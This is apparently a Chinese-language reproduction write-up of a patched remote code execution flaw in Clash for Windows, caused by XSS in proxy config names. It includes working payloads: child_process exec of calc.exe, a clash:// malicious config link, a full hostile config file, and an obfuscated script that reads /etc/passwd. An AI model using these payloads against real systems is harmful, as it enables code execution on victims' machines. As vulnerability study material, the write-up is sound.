|
Clash For Windows远程代码执行漏洞复现&分析
仅作学习交流、切勿非法使用!
一、什么是Clash
Clash算是近两年来比较高性能的代理软件,其支持vmess,ss,ssr等协议,通过自己的core来实现的相关代理协议。Clash for Windows基于Clash和Electron的Windows/macOS/Linux GUI。


二、Clash For Windows远程代码执行漏洞
漏洞状态:
细节是否公开 | POC状态 | EXP状态 | 在野利用 | 是 | 已公开 | 已公开 | 未知 |


漏洞描述:
由于crash_for_windows_pkg可以根据URL下载进行配置Rules文件,crash_for_windows_pkg由Electron提供支持,该产品在代理规则配置文件中未设置严格的输入检测,攻击者可通过构造代理配置文件中的XSS Payload来执行任意JavaScript命令。
影响范围:
Clash For Windows < 0.19.9
安全版本:
目前已发布升级版本以修复漏洞 Clash For Windows 0.19.9
三、漏洞分析
crash_for_windows_pkg 由 Electron 提供支持,该产品在代理规则配置文件中未设置严格的输入检测,攻击者可通过构造代理配置文件中的XSS Payload来执行任意JavaScript命令。
&#34;proxies&#34;中的&#34;name&#34;字段嵌入html标签,&#34;onerror&#34;时触发语句执行。
- name: a<img/src=&#34;1&#34;/onerror=eval(`require(&#34;child_process&#34;).exec(&#34;calc.exe&#34;);`);>此外也可以使用本地导入的方式,将yaml的配置文件导入。
另一种方式使用浏览器弹窗进行操作。
clash://install-config?url=http://ip:port/eval.txt&name=RCE四、漏洞利用
构建恶意服务器站点,在站点部署cfg配置文件,内容如下。

port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:- name: a<img/src=&#34;1&#34;/onerror=eval(`require(&#34;child_process&#34;).exec(&#34;calc.exe&#34;);`);>
type: socks5
server: 127.0.0.1
port: &#34;17938&#34;
skip-cert-verify: true- name: test
type: socks5
server: 127.0.0.1
port: &#34;8088&#34;
skip-cert-verify: true
proxy-groups:-
name: <img/src=&#34;1&#34;/onerror=eval(`require(&#34;child_process&#34;).exec(&#34;calc.exe&#34;);`);>
type: select
proxies:
- a<img/src=&#34;1&#34;/onerror=eval(`require(&#34;child_process&#34;).exec(&#34;calc.exe&#34;);`);>在【Profiles】中输入URI进行下载,成功后切入【Proxies】界面,点击即可触发漏洞。


//自行构造,弹出cat /etc/passwd数据流
- name: a<img src=x onerror=writeln(String.fromCharCode(60,115,99,114,105,112,116,62,10,99,111,110,115,116,32,123,32,115,112,97,119,110,32,125,32,61,32,114,101,113,117,105,114,101,40,34,99,104,105,108,100,95,112,114,111,99,101,115,115,34,41,59,10,99,111,110,115,116,32,99,97,116,32,61,32,115,112,97,119,110,40,34,99,97,116,34,44,32,91,34,47,101,116,99,47,112,97,115,115,119,100,34,93,41,59,10,99,97,116,46,115,116,100,111,117,116,46,111,110,40,34,100,97,116,97,34,44,32,100,97,116,97,32,61,62,32,123,10,32,32,32,32,97,108,101,114,116,40,96,115,116,100,111,117,116,58,32,36,123,100,97,116,97,125,96,41,59,10,125,41,59,60,47,115,99,114,105,112,116,62))>五、附录
参考链接:
docs.cfw.lbyczf.com/
github.com/Fndroid/cla…
github.com/Fndroid/cla… |
|